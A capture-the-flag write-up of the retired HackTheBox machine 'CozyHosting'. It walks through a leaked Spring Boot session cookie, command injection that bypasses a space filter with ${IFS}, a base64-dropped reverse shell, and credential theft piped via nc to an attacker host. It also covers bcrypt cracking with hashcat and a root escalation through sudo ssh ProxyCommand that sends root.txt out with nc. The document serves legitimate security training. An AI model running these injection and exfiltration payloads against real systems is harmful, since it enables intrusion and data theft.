~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / cozyhosting.md

cozyhosting

Linux · Easy · released 2023-09-02 · retired 2024-03-02

Summary

Easy Linux box. Spring Boot Actuator /actuator/sessions leaks an active session cookie → admin panel → SSH-execution form has command injection (whitespace filter bypassed with ${IFS}) → shell as app. Extract DB credentials from the JAR; bcrypt for admin cracks to a single rockyou word, reused by josh. Privesc: sudo /usr/bin/ssh *ProxyCommand → root.

Flags

Captured locally (omitted per writeup policy).

Recon

22/tcp  OpenSSH 8.9p1 Ubuntu
80/tcp  nginx 1.18.0  cozyhosting.htb (Spring Boot)

Foothold — Actuator + cmd injection

# Leak session cookies
curl http://cozyhosting.htb/actuator/sessions
# {"A586...":"kanderson"}

# kanderson session has admin panel access (HTTP 200)
# Admin panel: POST /executessh with host= and username= fields
# Filter rejects spaces; ${IFS} bypasses it
# ${IFS} must be literal in the injected payload — use single quotes locally

# Write reverse shell via base64 (no spaces in b64 string)
# username=;echo${IFS}B64PAYLOAD|base64${IFS}-d>/tmp/r.sh;#  (single-quoted locally)
# username=;bash${IFS}/tmp/r.sh;#

# → shell as app (uid=1001)

Credential Extraction

# Extract DB config from JAR
;unzip${IFS}-p${IFS}/app/cloudhosting-0.0.1.jar${IFS}BOOT-INF/classes/application.properties|nc${IFS}ATTACKER${IFS}PORT;#

# spring.datasource.password=<pg-pw>  (& in password needs careful quoting)
# spring.datasource.username=postgres
# DB: cozyhosting on localhost:5432

# Query users table (deploy script via base64 due to & in password)
export PGPASSWORD='<pg-pw>'
psql -h 127.0.0.1 -U postgres -d cozyhosting -c "select * from users;"
# admin : $2a$10$<bcrypt-hash>

hashcat -m 3200 hash.txt rockyou.txt
# <cracked-pw>

ssh [email protected]  # password reuse
# user.txt ✓

Privesc — sudo ssh ProxyCommand

sudo -l
# (root) /usr/bin/ssh *

# sudo requires use_pty → use -tt with sudo -S
echo '<cracked-pw>' | sudo -S /usr/bin/ssh \
  -o ProxyCommand='cat /root/root.txt | nc ATTACKER PORT' x
# root.txt ✓

Key Techniques

← all htb machines hackthebox.com ↗